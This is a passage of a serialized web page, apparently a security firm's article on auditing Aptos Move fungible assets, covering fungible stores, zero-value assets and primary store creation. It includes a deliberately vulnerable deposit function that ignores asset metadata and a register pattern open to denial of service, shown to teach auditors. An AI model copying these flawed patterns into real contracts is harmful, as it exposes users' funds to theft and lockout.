FungibleAsset\n",{"type":19,"tag":168,"props":59229,"children":59230},{"class":170,"line":415},[59231,59235,59239,59243,59247],{"type":19,"tag":168,"props":59232,"children":59233},{"style":212},[59234],{"type":24,"value":481},{"type":19,"tag":168,"props":59236,"children":59237},{"style":393},[59238],{"type":24,"value":3779},{"type":19,"tag":168,"props":59240,"children":59241},{"style":212},[59242],{"type":24,"value":20488},{"type":19,"tag":168,"props":59244,"children":59245},{"style":399},[59246],{"type":24,"value":7032},{"type":19,"tag":168,"props":59248,"children":59249},{"style":212},[59250],{"type":24,"value":59251},"] {\n",{"type":19,"tag":168,"props":59253,"children":59254},{"class":170,"line":450},[59255,59260],{"type":19,"tag":168,"props":59256,"children":59257},{"style":175},[59258],{"type":24,"value":59259}," assert_not_paused",{"type":19,"tag":168,"props":59261,"children":59262},{"style":212},[59263],{"type":24,"value":1084},{"type":19,"tag":168,"props":59265,"children":59266},{"class":170,"line":560},[59267],{"type":19,"tag":168,"props":59268,"children":59269},{"style":212},[59270],{"type":24,"value":59271}," \n",{"type":19,"tag":168,"props":59273,"children":59274},{"class":170,"line":666},[59275,59279,59284,59288,59293,59297,59301,59305,59309,59313],{"type":19,"tag":168,"props":59276,"children":59277},{"style":382},[59278],{"type":24,"value":385},{"type":19,"tag":168,"props":59280,"children":59281},{"style":393},[59282],{"type":24,"value":59283}," fa_amount",{"type":19,"tag":168,"props":59285,"children":59286},{"style":399},[59287],{"type":24,"value":402},{"type":19,"tag":168,"props":59289,"children":59290},{"style":212},[59291],{"type":24,"value":59292}," fungible_asset",{"type":19,"tag":168,"props":59294,"children":59295},{"style":399},[59296],{"type":24,"value":888},{"type":19,"tag":168,"props":59298,"children":59299},{"style":175},[59300],{"type":24,"value":17761},{"type":19,"tag":168,"props":59302,"children":59303},{"style":212},[59304],{"type":24,"value":500},{"type":19,"tag":168,"props":59306,"children":59307},{"style":399},[59308],{"type":24,"value":505},{"type":19,"tag":168,"props":59310,"children":59311},{"style":393},[59312],{"type":24,"value":59218},{"type":19,"tag":168,"props":59314,"children":59315},{"style":212},[59316],{"type":24,"value":1249},{"type":19,"tag":168,"props":59318,"children":59319},{"class":170,"line":694},[59320,59324,59329,59333,59338,59342,59347],{"type":19,"tag":168,"props":59321,"children":59322},{"style":382},[59323],{"type":24,"value":385},{"type":19,"tag":168,"props":59325,"children":59326},{"style":393},[59327],{"type":24,"value":59328}," sender_address",{"type":19,"tag":168,"props":59330,"children":59331},{"style":399},[59332],{"type":24,"value":402},{"type":19,"tag":168,"props":59334,"children":59335},{"style":175},[59336],{"type":24,"value":59337}," address_of",{"type":19,"tag":168,"props":59339,"children":59340},{"style":212},[59341],{"type":24,"value":500},{"type":19,"tag":168,"props":59343,"children":59344},{"style":393},[59345],{"type":24,"value":59346},"sender",{"type":19,"tag":168,"props":59348,"children":59349},{"style":212},[59350],{"type":24,"value":1249},{"type":19,"tag":168,"props":59352,"children":59353},{"class":170,"line":707},[59354,59359,59363,59368,59372,59377],{"type":19,"tag":168,"props":59355,"children":59356},{"style":175},[59357],{"type":24,"value":59358}," check_compliance",{"type":19,"tag":168,"props":59360,"children":59361},{"style":212},[59362],{"type":24,"value":500},{"type":19,"tag":168,"props":59364,"children":59365},{"style":393},[59366],{"type":24,"value":59367},"fa_amount",{"type":19,"tag":168,"props":59369,"children":59370},{"style":212},[59371],{"type":24,"value":471},{"type":19,"tag":168,"props":59373,"children":59374},{"style":393},[59375],{"type":24,"value":59376},"sender_address",{"type":19,"tag":168,"props":59378,"children":59379},{"style":212},[59380],{"type":24,"value":1249},{"type":19,"tag":168,"props":59382,"children":59383},{"class":170,"line":725},[59384],{"type":19,"tag":168,"props":59385,"children":59386},{"style":212},[59387],{"type":24,"value":59271},{"type":19,"tag":168,"props":59389,"children":59390},{"class":170,"line":746},[59391,59396,59400,59405,59409,59413,59417,59421],{"type":19,"tag":168,"props":59392,"children":59393},{"style":175},[59394],{"type":24,"value":59395}," increase_deposit",{"type":19,"tag":168,"props":59397,"children":59398},{"style":212},[59399],{"type":24,"value":500},{"type":19,"tag":168,"props":59401,"children":59402},{"style":175},[59403],{"type":24,"value":59404},"get_vault",{"type":19,"tag":168,"props":59406,"children":59407},{"style":212},[59408],{"type":24,"value":500},{"type":19,"tag":168,"props":59410,"children":59411},{"style":393},[59412],{"type":24,"value":59376},{"type":19,"tag":168,"props":59414,"children":59415},{"style":212},[59416],{"type":24,"value":12624},{"type":19,"tag":168,"props":59418,"children":59419},{"style":393},[59420],{"type":24,"value":59367},{"type":19,"tag":168,"props":59422,"children":59423},{"style":212},[59424],{"type":24,"value":1249},{"type":19,"tag":168,"props":59426,"children":59427},{"class":170,"line":755},[59428],{"type":19,"tag":168,"props":59429,"children":59430},{"style":212},[59431],{"type":24,"value":59271},{"type":19,"tag":168,"props":59433,"children":59434},{"class":170,"line":1008},[59435,59440,59444,59449,59453,59458,59462,59466],{"type":19,"tag":168,"props":59436,"children":59437},{"style":212},[59438],{"type":24,"value":59439}," primary_fungible_store",{"type":19,"tag":168,"props":59441,"children":59442},{"style":399},[59443],{"type":24,"value":888},{"type":19,"tag":168,"props":59445,"children":59446},{"style":175},[59447],{"type":24,"value":59448},"deposit",{"type":19,"tag":168,"props":59450,"children":59451},{"style":212},[59452],{"type":24,"value":500},{"type":19,"tag":168,"props":59454,"children":59455},{"style":175},[59456],{"type":24,"value":59457},"global_vault_address",{"type":19,"tag":168,"props":59459,"children":59460},{"style":212},[59461],{"type":24,"value":15826},{"type":19,"tag":168,"props":59463,"children":59464},{"style":393},[59465],{"type":24,"value":59218},{"type":19,"tag":168,"props":59467,"children":59468},{"style":212},[59469],{"type":24,"value":1249},{"type":19,"tag":168,"props":59471,"children":59472},{"class":170,"line":1025},[59473],{"type":19,"tag":168,"props":59474,"children":59475},{"style":212},[59476],{"type":24,"value":59271},{"type":19,"tag":168,"props":59478,"children":59479},{"class":170,"line":1042},[59480,59485,59489,59494,59498,59503,59507,59511,59515,59519],{"type":19,"tag":168,"props":59481,"children":59482},{"style":212},[59483],{"type":24,"value":59484}," event",{"type":19,"tag":168,"props":59486,"children":59487},{"style":399},[59488],{"type":24,"value":888},{"type":19,"tag":168,"props":59490,"children":59491},{"style":175},[59492],{"type":24,"value":59493},"emit",{"type":19,"tag":168,"props":59495,"children":59496},{"style":212},[59497],{"type":24,"value":500},{"type":19,"tag":168,"props":59499,"children":59500},{"style":825},[59501],{"type":24,"value":59502},"Deposit",{"type":19,"tag":168,"props":59504,"children":59505},{"style":212},[59506],{"type":24,"value":42698},{"type":19,"tag":168,"props":59508,"children":59509},{"style":393},[59510],{"type":24,"value":59376},{"type":19,"tag":168,"props":59512,"children":59513},{"style":212},[59514],{"type":24,"value":471},{"type":19,"tag":168,"props":59516,"children":59517},{"style":393},[59518],{"type":24,"value":59367},{"type":19,"tag":168,"props":59520,"children":59521},{"style":212},[59522],{"type":24,"value":30495},{"type":19,"tag":168,"props":59524,"children":59525},{"class":170,"line":1055},[59526],{"type":19,"tag":168,"props":59527,"children":59528},{"style":212},[59529],{"type":24,"value":1326},{"type":19,"tag":20,"props":59531,"children":59532},{},[59533],{"type":24,"value":59534},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":19,"tag":20,"props":59536,"children":59537},{},[59538],{"type":24,"value":59539},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":19,"tag":36,"props":59541,"children":59543},{"id":59542},"fungible-stores",[59544],{"type":24,"value":59545},"Fungible stores",{"type":19,"tag":20,"props":59547,"children":59548},{},[59549],{"type":24,"value":59550},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":19,"tag":20,"props":59552,"children":59553},{},[59554,59556,59562],{"type":24,"value":59555},"Meet the ",{"type":19,"tag":27,"props":59557,"children":59559},{"className":59558},[],[59560],{"type":24,"value":59561},"FungibleStore",{"type":24,"value":948},{"type":19,"tag":158,"props":59564,"children":59566},{"className":363,"code":59565,"language":362,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[59567],{"type":19,"tag":27,"props":59568,"children":59569},{"__ignoreMap":7},[59570,59594,59621,59641,59660],{"type":19,"tag":168,"props":59571,"children":59572},{"class":170,"line":171},[59573,59577,59582,59586,59590],{"type":19,"tag":168,"props":59574,"children":59575},{"style":382},[59576],{"type":24,"value":6842},{"type":19,"tag":168,"props":59578,"children":59579},{"style":825},[59580],{"type":24,"value":59581}," FungibleStore",{"type":19,"tag":168,"props":59583,"children":59584},{"style":393},[59585],{"type":24,"value":6851},{"type":19,"tag":168,"props":59587,"children":59588},{"style":393},[59589],{"type":24,"value":3366},{"type":19,"tag":168,"props":59591,"children":59592},{"style":212},[59593],{"type":24,"value":691},{"type":19,"tag":168,"props":59595,"children":59596},{"class":170,"line":198},[59597,59601,59605,59609,59613,59617],{"type":19,"tag":168,"props":59598,"children":59599},{"style":393},[59600],{"type":24,"value":59037},{"type":19,"tag":168,"props":59602,"children":59603},{"style":399},[59604],{"type":24,"value":1922},{"type":19,"tag":168,"props":59606,"children":59607},{"style":825},[59608],{"type":24,"value":59046},{"type":19,"tag":168,"props":59610,"children":59611},{"style":212},[59612],{"type":24,"value":3240},{"type":19,"tag":168,"props":59614,"children":59615},{"style":825},[59616],{"type":24,"value":59055},{"type":19,"tag":168,"props":59618,"children":59619},{"style":212},[59620],{"type":24,"value":3573},{"type":19,"tag":168,"props":59622,"children":59623},{"class":170,"line":415},[59624,59629,59633,59637],{"type":19,"tag":168,"props":59625,"children":59626},{"style":393},[59627],{"type":24,"value":59628}," balance",{"type":19,"tag":168,"props":59630,"children":59631},{"style":399},[59632],{"type":24,"value":1922},{"type":19,"tag":168,"props":59634,"children":59635},{"style":825},[59636],{"type":24,"value":3294},{"type":19,"tag":168,"props":59638,"children":59639},{"style":212},[59640],{"type":24,"value":915},{"type":19,"tag":168,"props":59642,"children":59643},{"class":170,"line":450},[59644,59648,59652,59656],{"type":19,"tag":168,"props":59645,"children":59646},{"style":393},[59647],{"type":24,"value":58698},{"type":19,"tag":168,"props":59649,"children":59650},{"style":399},[59651],{"type":24,"value":1922},{"type":19,"tag":168,"props":59653,"children":59654},{"style":825},[59655],{"type":24,"value":9495},{"type":19,"tag":168,"props":59657,"children":59658},{"style":212},[59659],{"type":24,"value":915},{"type":19,"tag":168,"props":59661,"children":59662},{"class":170,"line":560},[59663],{"type":19,"tag":168,"props":59664,"children":59665},{"style":212},[59666],{"type":24,"value":1326},{"type":19,"tag":20,"props":59668,"children":59669},{},[59670,59675,59677,59682,59684,59689,59691,59696,59698,59703],{"type":19,"tag":27,"props":59671,"children":59673},{"className":59672},[],[59674],{"type":24,"value":59561},{"type":24,"value":59676}," manages balances and metadata instead of holding the actual ",{"type":19,"tag":27,"props":59678,"children":59680},{"className":59679},[],[59681],{"type":24,"value":58996},{"type":24,"value":59683}," (it can't because ",{"type":19,"tag":27,"props":59685,"children":59687},{"className":59686},[],[59688],{"type":24,"value":58996},{"type":24,"value":59690}," doesn't have ",{"type":19,"tag":27,"props":59692,"children":59694},{"className":59693},[],[59695],{"type":24,"value":3375},{"type":24,"value":59697},"). Withdrawals create temporary ",{"type":19,"tag":27,"props":59699,"children":59701},{"className":59700},[],[59702],{"type":24,"value":58996},{"type":24,"value":59704}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":19,"tag":16245,"props":59706,"children":59707},{},[],{"type":19,"tag":20,"props":59709,"children":59710},{},[59711,59713,59718,59720,59725],{"type":24,"value":59712},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":19,"tag":27,"props":59714,"children":59716},{"className":59715},[],[59717],{"type":24,"value":58996},{"type":24,"value":59719}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":19,"tag":27,"props":59721,"children":59723},{"className":59722},[],[59724],{"type":24,"value":58996},{"type":24,"value":948},{"type":19,"tag":158,"props":59727,"children":59729},{"className":363,"code":59728,"language":362,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[59730],{"type":19,"tag":27,"props":59731,"children":59732},{"__ignoreMap":7},[59733,59770,59822,59865,59872,59879,59951,59963,60001,60020,60027],{"type":19,"tag":168,"props":59734,"children":59735},{"class":170,"line":171},[59736,59740,59744,59749,59753,59758,59762,59766],{"type":19,"tag":168,"props":59737,"children":59738},{"style":393},[59739],{"type":24,"value":59160},{"type":19,"tag":168,"props":59741,"children":59742},{"style":393},[59743],{"type":24,"value":3642},{"type":19,"tag":168,"props":59745,"children":59746},{"style":175},[59747],{"type":24,"value":59748}," destroy_zero",{"type":19,"tag":168,"props":59750,"children":59751},{"style":212},[59752],{"type":24,"value":500},{"type":19,"tag":168,"props":59754,"children":59755},{"style":393},[59756],{"type":24,"value":59757},"fungible_asset",{"type":19,"tag":168,"props":59759,"children":59760},{"style":399},[59761],{"type":24,"value":1922},{"type":19,"tag":168,"props":59763,"children":59764},{"style":825},[59765],{"type":24,"value":59025},{"type":19,"tag":168,"props":59767,"children":59768},{"style":212},[59769],{"type":24,"value":12250},{"type":19,"tag":168,"props":59771,"children":59772},{"class":170,"line":198},[59773,59777,59781,59785,59789,59793,59798,59802,59806,59810,59814,59818],{"type":19,"tag":168,"props":59774,"children":59775},{"style":382},[59776],{"type":24,"value":385},{"type":19,"tag":168,"props":59778,"children":59779},{"style":825},[59780],{"type":24,"value":59025},{"type":19,"tag":168,"props":59782,"children":59783},{"style":212},[59784],{"type":24,"value":7027},{"type":19,"tag":168,"props":59786,"children":59787},{"style":393},[59788],{"type":24,"value":17761},{"type":19,"tag":168,"props":59790,"children":59791},{"style":212},[59792],{"type":24,"value":471},{"type":19,"tag":168,"props":59794,"children":59795},{"style":393},[59796],{"type":24,"value":59797},"metadata",{"type":19,"tag":168,"props":59799,"children":59800},{"style":399},[59801],{"type":24,"value":1922},{"type":19,"tag":168,"props":59803,"children":59804},{"style":393},[59805],{"type":24,"value":427},{"type":19,"tag":168,"props":59807,"children":59808},{"style":212},[59809],{"type":24,"value":33677},{"type":19,"tag":168,"props":59811,"children":59812},{"style":399},[59813],{"type":24,"value":486},{"type":19,"tag":168,"props":59815,"children":59816},{"style":393},[59817],{"type":24,"value":59292},{"type":19,"tag":168,"props":59819,"children":59820},{"style":212},[59821],{"type":24,"value":412},{"type":19,"tag":168,"props":59823,"children":59824},{"class":170,"line":415},[59825,59830,59834,59838,59842,59846,59851,59855,59860],{"type":19,"tag":168,"props":59826,"children":59827},{"style":175},[59828],{"type":24,"value":59829}," assert!",{"type":19,"tag":168,"props":59831,"children":59832},{"style":212},[59833],{"type":24,"value":500},{"type":19,"tag":168,"props":59835,"children":59836},{"style":393},[59837],{"type":24,"value":17761},{"type":19,"tag":168,"props":59839,"children":59840},{"style":399},[59841],{"type":24,"value":682},{"type":19,"tag":168,"props":59843,"children":59844},{"style":192},[59845],{"type":24,"value":437},{"type":19,"tag":168,"props":59847,"children":59848},{"style":212},[59849],{"type":24,"value":59850},", error",{"type":19,"tag":168,"props":59852,"children":59853},{"style":399},[59854],{"type":24,"value":888},{"type":19,"tag":168,"props":59856,"children":59857},{"style":175},[59858],{"type":24,"value":59859},"invalid_argument",{"type":19,"tag":168,"props":59861,"children":59862},{"style":212},[59863],{"type":24,"value":59864},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":19,"tag":168,"props":59866,"children":59867},{"class":170,"line":450},[59868],{"type":19,"tag":168,"props":59869,"children":59870},{"style":212},[59871],{"type":24,"value":1326},{"type":19,"tag":168,"props":59873,"children":59874},{"class":170,"line":560},[59875],{"type":19,"tag":168,"props":59876,"children":59877},{"emptyLinePlaceholder":14},[59878],{"type":24,"value":1093},{"type":19,"tag":168,"props":59880,"children":59881},{"class":170,"line":666},[59882,59886,59890,59895,59899,59903,59907,59911,59915,59919,59923,59927,59931,59935,59939,59943,59947],{"type":19,"tag":168,"props":59883,"children":59884},{"style":393},[59885],{"type":24,"value":59160},{"type":19,"tag":168,"props":59887,"children":59888},{"style":393},[59889],{"type":24,"value":3642},{"type":19,"tag":168,"props":59891,"children":59892},{"style":393},[59893],{"type":24,"value":59894}," zero",{"type":19,"tag":168,"props":59896,"children":59897},{"style":212},[59898],{"type":24,"value":3240},{"type":19,"tag":168,"props":59900,"children":59901},{"style":825},[59902],{"type":24,"value":3422},{"type":19,"tag":168,"props":59904,"children":59905},{"style":399},[59906],{"type":24,"value":1922},{"type":19,"tag":168,"props":59908,"children":59909},{"style":393},[59910],{"type":24,"value":3366},{"type":19,"tag":168,"props":59912,"children":59913},{"style":212},[59914],{"type":24,"value":5047},{"type":19,"tag":168,"props":59916,"children":59917},{"style":393},[59918],{"type":24,"value":59797},{"type":19,"tag":168,"props":59920,"children":59921},{"style":399},[59922],{"type":24,"value":1922},{"type":19,"tag":168,"props":59924,"children":59925},{"style":825},[59926],{"type":24,"value":59046},{"type":19,"tag":168,"props":59928,"children":59929},{"style":212},[59930],{"type":24,"value":3240},{"type":19,"tag":168,"props":59932,"children":59933},{"style":825},[59934],{"type":24,"value":3422},{"type":19,"tag":168,"props":59936,"children":59937},{"style":212},[59938],{"type":24,"value":5826},{"type":19,"tag":168,"props":59940,"children":59941},{"style":399},[59942],{"type":24,"value":1922},{"type":19,"tag":168,"props":59944,"children":59945},{"style":825},[59946],{"type":24,"value":59025},{"type":19,"tag":168,"props":59948,"children":59949},{"style":212},[59950],{"type":24,"value":691},{"type":19,"tag":168,"props":59952,"children":59953},{"class":170,"line":694},[59954,59959],{"type":19,"tag":168,"props":59955,"children":59956},{"style":825},[59957],{"type":24,"value":59958}," FungibleAsset",{"type":19,"tag":168,"props":59960,"children":59961},{"style":212},[59962],{"type":24,"value":691},{"type":19,"tag":168,"props":59964,"children":59965},{"class":170,"line":707},[59966,59971,59975,59980,59984,59989,59993,59997],{"type":19,"tag":168,"props":59967,"children":59968},{"style":393},[59969],{"type":24,"value":59970}," metadata",{"type":19,"tag":168,"props":59972,"children":59973},{"style":399},[59974],{"type":24,"value":1922},{"type":19,"tag":168,"props":59976,"children":59977},{"style":212},[59978],{"type":24,"value":59979}," object",{"type":19,"tag":168,"props":59981,"children":59982},{"style":399},[59983],{"type":24,"value":888},{"type":19,"tag":168,"props":59985,"children":59986},{"style":175},[59987],{"type":24,"value":59988},"convert",{"type":19,"tag":168,"props":59990,"children":59991},{"style":212},[59992],{"type":24,"value":500},{"type":19,"tag":168,"props":59994,"children":59995},{"style":393},[59996],{"type":24,"value":59797},{"type":19,"tag":168,"props":59998,"children":59999},{"style":212},[60000],{"type":24,"value":4172},{"type":19,"tag":168,"props":60002,"children":60003},{"class":170,"line":725},[60004,60008,60012,60016],{"type":19,"tag":168,"props":60005,"children":60006},{"style":393},[60007],{"type":24,"value":4885},{"type":19,"tag":168,"props":60009,"children":60010},{"style":399},[60011],{"type":24,"value":1922},{"type":19,"tag":168,"props":60013,"children":60014},{"style":192},[60015],{"type":24,"value":437},{"type":19,"tag":168,"props":60017,"children":60018},{"style":212},[60019],{"type":24,"value":915},{"type":19,"tag":168,"props":60021,"children":60022},{"class":170,"line":746},[60023],{"type":19,"tag":168,"props":60024,"children":60025},{"style":212},[60026],{"type":24,"value":761},{"type":19,"tag":168,"props":60028,"children":60029},{"class":170,"line":755},[60030],{"type":19,"tag":168,"props":60031,"children":60032},{"style":212},[60033],{"type":24,"value":1326},{"type":19,"tag":20,"props":60035,"children":60036},{},[60037],{"type":24,"value":60038},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":19,"tag":20,"props":60040,"children":60041},{},[60042,60044,60049],{"type":24,"value":60043},"In practice, the ability to freely mint and burn zero ",{"type":19,"tag":27,"props":60045,"children":60047},{"className":60046},[],[60048],{"type":24,"value":59138},{"type":24,"value":60050}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":19,"tag":7050,"props":60052,"children":60054},{"id":60053},"primary-and-secondary-stores",[60055],{"type":24,"value":60056},"Primary and secondary stores",{"type":19,"tag":20,"props":60058,"children":60059},{},[60060,60066,60068,60074,60076,60081],{"type":19,"tag":27,"props":60061,"children":60063},{"className":60062},[],[60064],{"type":24,"value":60065},"FungibleStores",{"type":24,"value":60067}," in comparison to ",{"type":19,"tag":27,"props":60069,"children":60071},{"className":60070},[],[60072],{"type":24,"value":60073},"CoinStores",{"type":24,"value":60075}," are not unique. Each user can have multiple ",{"type":19,"tag":27,"props":60077,"children":60079},{"className":60078},[],[60080],{"type":24,"value":59561},{"type":24,"value":60082}," objects for a given token!",{"type":19,"tag":20,"props":60084,"children":60085},{},[60086,60088,60095,60097,60102],{"type":24,"value":60087},"A primary fungible store is maintained via the aptly named ",{"type":19,"tag":269,"props":60089,"children":60092},{"href":60090,"rel":60091},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[273],[60093],{"type":24,"value":60094},"primary_fungible_store",{"type":24,"value":60096}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":19,"tag":27,"props":60098,"children":60100},{"className":60099},[],[60101],{"type":24,"value":59055},{"type":24,"value":60103}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":19,"tag":20,"props":60105,"children":60106},{},[60107],{"type":24,"value":60108},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":19,"tag":158,"props":60110,"children":60112},{"className":363,"code":60111,"language":362,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[60113],{"type":19,"tag":27,"props":60114,"children":60115},{"__ignoreMap":7},[60116,60141,60173,60196,60212,60266,60281],{"type":19,"tag":168,"props":60117,"children":60118},{"class":170,"line":171},[60119,60123,60128,60132,60137],{"type":19,"tag":168,"props":60120,"children":60121},{"style":393},[60122],{"type":24,"value":59160},{"type":19,"tag":168,"props":60124,"children":60125},{"style":393},[60126],{"type":24,"value":60127}," entry",{"type":19,"tag":168,"props":60129,"children":60130},{"style":393},[60131],{"type":24,"value":3642},{"type":19,"tag":168,"props":60133,"children":60134},{"style":175},[60135],{"type":24,"value":60136}," register",{"type":19,"tag":168,"props":60138,"children":60139},{"style":212},[60140],{"type":24,"value":870},{"type":19,"tag":168,"props":60142,"children":60143},{"class":170,"line":198},[60144,60149,60153,60157,60161,60165,60169],{"type":19,"tag":168,"props":60145,"children":60146},{"style":393},[60147],{"type":24,"value":60148}," user",{"type":19,"tag":168,"props":60150,"children":60151},{"style":399},[60152],{"type":24,"value":1922},{"type":19,"tag":168,"props":60154,"children":60155},{"style":399},[60156],{"type":24,"value":4577},{"type":19,"tag":168,"props":60158,"children":60159},{"style":393},[60160],{"type":24,"value":4582},{"type":19,"tag":168,"props":60162,"children":60163},{"style":212},[60164],{"type":24,"value":41616},{"type":19,"tag":168,"props":60166,"children":60167},{"style":399},[60168],{"type":24,"value":7032},{"type":19,"tag":168,"props":60170,"children":60171},{"style":212},[60172],{"type":24,"value":9217},{"type":19,"tag":168,"props":60174,"children":60175},{"class":170,"line":415},[60176,60180,60184,60188,60192],{"type":19,"tag":168,"props":60177,"children":60178},{"style":212},[60179],{"type":24,"value":481},{"type":19,"tag":168,"props":60181,"children":60182},{"style":393},[60183],{"type":24,"value":3779},{"type":19,"tag":168,"props":60185,"children":60186},{"style":212},[60187],{"type":24,"value":20488},{"type":19,"tag":168,"props":60189,"children":60190},{"style":399},[60191],{"type":24,"value":7032},{"type":19,"tag":168,"props":60193,"children":60194},{"style":212},[60195],{"type":24,"value":59251},{"type":19,"tag":168,"props":60197,"children":60198},{"class":170,"line":450},[60199,60204,60208],{"type":19,"tag":168,"props":60200,"children":60201},{"style":212},[60202],{"type":24,"value":60203}," [",{"type":19,"tag":168,"props":60205,"children":60206},{"style":399},[60207],{"type":24,"value":7032},{"type":19,"tag":168,"props":60209,"children":60210},{"style":212},[60211],{"type":24,"value":9217},{"type":19,"tag":168,"props":60213,"children":60214},{"class":170,"line":560},[60215,60219,60224,60228,60233,60237,60241,60245,60249,60253,60257,60262],{"type":19,"tag":168,"props":60216,"children":60217},{"style":382},[60218],{"type":24,"value":385},{"type":19,"tag":168,"props":60220,"children":60221},{"style":393},[60222],{"type":24,"value":60223}," wallet_store",{"type":19,"tag":168,"props":60225,"children":60226},{"style":399},[60227],{"type":24,"value":402},{"type":19,"tag":168,"props":60229,"children":60230},{"style":175},[60231],{"type":24,"value":60232}," create_primary_store",{"type":19,"tag":168,"props":60234,"children":60235},{"style":212},[60236],{"type":24,"value":4636},{"type":19,"tag":168,"props":60238,"children":60239},{"style":399},[60240],{"type":24,"value":888},{"type":19,"tag":168,"props":60242,"children":60243},{"style":175},[60244],{"type":24,"value":4645},{"type":19,"tag":168,"props":60246,"children":60247},{"style":212},[60248],{"type":24,"value":500},{"type":19,"tag":168,"props":60250,"children":60251},{"style":393},[60252],{"type":24,"value":59346},{"type":19,"tag":168,"props":60254,"children":60255},{"style":212},[60256],{"type":24,"value":12624},{"type":19,"tag":168,"props":60258,"children":60259},{"style":175},[60260],{"type":24,"value":60261},"get_metadata",{"type":19,"tag":168,"props":60263,"children":60264},{"style":212},[60265],{"type":24,"value":12872},{"type":19,"tag":168,"props":60267,"children":60268},{"class":170,"line":666},[60269,60273,60277],{"type":19,"tag":168,"props":60270,"children":60271},{"style":212},[60272],{"type":24,"value":60203},{"type":19,"tag":168,"props":60274,"children":60275},{"style":399},[60276],{"type":24,"value":7032},{"type":19,"tag":168,"props":60278,"children":60279},{"style":212},[60280],{"type":24,"value":9217},{"type":19,"tag":168,"props":60282,"children":60283},{"class":170,"line":694},[60284],{"type":19,"tag":168,"props":60285,"children":60286},{"style":212},[60287],{"type":24,"value":1326},{"type":19,"tag":20,"props":60289,"children":60290},{},[60291,60292,60298,60300,60306],{"type":24,"value":14062},{"type":19,"tag":27,"props":60293,"children":60295},{"className":60294},[],[60296],{"type":24,"value":60297},"create_primary_store",{"type":24,"value":60299}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":19,"tag":27,"props":60301,"children":60303},{"className":60302},[],[60304],{"type":24,"value":60305},"ensure_primary_store_exists",{"type":24,"value":60307}," is recommended to avoid such issues.",{"type":19,"tag":36,"props":60309,"children":60311},{"id":60310},"fungible-assets-and-objects",[60312],{"type":24,"value":60313},"Fungible assets and objects",{"type":19,"tag":20,"props":60315,"children":60316},{},[60317,60319,60324,60326,60333],{"type":24,"value":60318},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":19,"tag":27,"props":60320,"children":60322},{"className":60321},[],[60323],{"type":24,"value":46333},{"type":24,"value":60325}," module, introduced in ",{"type":19,"tag":269,"props":60327,"children":60330},{"href":60328,"rel":60329},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[273],[60331],{"type":24,"value":60332},"AIP-10",{"type":24,"value":948},{"type":19,"tag":315,"props":60335,"children":60336},{},[60337],{"type":19,"tag":20,"props":60338,"children":60339},{},[60340,60344],{"type":19,"tag":168,"props":60341,"children":60342},{},[60343],{"type":24,"value":58935},{"type":24,"value":60345}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":19,"tag":20,"props":60347,"children":60348},{},[60349],{"type":24,"value":60350},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":19,"tag":7050,"props":60352,"children":60354},{"id":60353},"creation-and-deletion",[60355],{"type":24,"value":60356},"Creation and deletion",{"type":19,"tag":20,"props":60358,"children":60359},{},[60360,60362,60368],{"type":24,"value":60361},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":19,"tag":27,"props":60363,"children":60365},{"className":60364},[],[60366],{"type":24,"value":60367},"fungible_asset::add_fungibility",{"type":24,"value":1922},{"type":19,"tag":158,"props":60370,"children":60372},{"className":363,"code":60371,"language":362,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[60373],{"type":19,"tag":27,"props":60374,"children":60375},{"__ignoreMap":7},[60376],{"type":19,"tag":168,"props":60377,"children":60378},{"class":170,"line":171},[60379,60383,60387,60391,60396,60400,60405,60409,60414,60419,60423,60427],{"type":19,"tag":168,"props":60380,"children":60381},{"style":175},[60382],{"type":24,"value":39461},{"type":19,"tag":168,"props":60384,"children":60385},{"style":212},[60386],{"type":24,"value":500},{"type":19,"tag":168,"props":60388,"children":60389},{"style":399},[60390],{"type":24,"value":18076},{"type":19,"tag":168,"props":60392,"children":60393},{"style":212},[60394],{"type":24,"value":60395},"object",{"type":19,"tag":168,"props":60397,"children":60398},{"style":399},[60399],{"type":24,"value":888},{"type":19,"tag":168,"props":60401,"children":60402},{"style":175},[60403],{"type":24,"value":60404},"can_generate_delete_ref",{"type":19,"tag":168,"props":60406,"children":60407},{"style":212},[60408],{"type":24,"value":500},{"type":19,"tag":168,"props":60410,"